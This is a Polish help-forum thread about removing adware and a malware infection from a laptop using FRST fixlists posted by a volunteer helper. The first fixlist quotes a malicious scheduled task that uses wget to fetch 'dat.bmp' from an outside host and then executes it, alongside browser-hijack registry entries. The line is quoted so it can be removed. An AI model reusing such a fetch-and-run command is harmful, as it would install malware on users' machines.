Okna wyskakują w ad bloku i spowolnienie laptopa

Gilu96 · 24 Marzec 2015 16:32

Info z RFST

FRST http://www.wklej.org/id/1670538/

Addition http://www.wklej.org/id/1670541/

Wcześniej prowadziłem zaciętą walkę z programem który wyświetlał złośliwe reklamy ale usunąłem go.

Edit. Poprawione z godnie z prośbą moderatora

spandaupol · 24 Marzec 2015 16:43

Użytkownik proszący o pomoc obowiązany jest zaprezentować raporty FRST zgodnie z instrukcją.

Instrukcja http://forum.dobreprogramy.pl/nowy-log-obowi%C4%85zkowy-farbar-recovery-scan-tool-t478727/

Atis · 24 Marzec 2015 17:21

Wklej do systemowego notatnika i zapisz jako plik tekstowy o nazwie fixlist :

CloseProcesses:
Startup: C:\Users\Gilu\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Mirillis Action! 1.22.1 Key.lnk
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => No File
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Policy restriction <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.omniboxes.com/web/?type=ds&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216&q={searchTerms}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
StartMenuInternet: IEXPLORE.EXE - C:\Program Files (x86)\Internet Explorer\iexplore.exe http://www.omniboxes.com/?type=sc&ts=1424240763&from=obw&uid=WDCXWD10SPCX-22HWST0_WD-WX11A14W4216W4216
S2 1eeea34e; c:\Program Files (x86)\IncrementEdit\IncrementEdit.dll [1924096 2015-03-08] () [File not signed]
c:\Program Files (x86)\IncrementEdit
2015-03-11 11:36 - 2015-03-23 23:38 - 00260096 _____ () C:\ProgramData\dat.bmp
2015-02-28 10:39 - 2015-03-08 21:17 - 00000000 ____ D () C:\AdwCleaner
2015-03-08 20:30 - 2015-02-18 07:23 - 00000000 ____ D () C:\ProgramData\{8d82c753-177e-e80a-8d82-2c7531771d4c}
2015-03-08 20:30 - 2015-02-17 22:37 - 00000000 ____ D () C:\ProgramData\{db606c11-47b4-fb87-db60-06c1147bb045}
2015-03-10 19:23 - 2015-03-10 19:23 - 0332800 _____ () C:\ProgramData\wget.exe
Task: {9D79977E-4D80-460C-851D-6C12ECA2CB4B} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" &amp; ping 1.1.1.1 -n 300 -w 1000 &amp; wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=PqETavhHSwlHEoGOp367;Minecraft;1426011878 &amp; start cmd /R dat.bmp <==== ATTENTION
EmptyTemp:

Uruchom FRST i kliknij Fix. Pokaż raport z usuwania Fixlog.

Kliknij Scan i pokaż nowy raport z FRST bez Addition.

Gilu96 · 24 Marzec 2015 17:55

Fixlog - http://www.wklej.org/id/1670582/

FTST - http://www.wklej.org/id/1670583/\

Właśnie wszedłem na stronę banku i znowu te reklamy ;/

Edit: zauważyłem teraz że strony za pierwszym razem nie chcą mi się załadować

Atis · 24 Marzec 2015 22:57

Wklej do systemowego notatnika i zapisz jako plik tekstowy o nazwie fixlist :

CloseProcesses:
C:\Users\Gilu\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Mirillis Action*.lnk
C:\ProgramData\{db606c11-47b4-fb87-db60-06c1147bb045}
EmptyTemp:

Uruchom FRST i kliknij Fix. Pokaż raport z usuwania Fixlog.

Kliknij Scan i pokaż nowy raport z FRST bez Addition.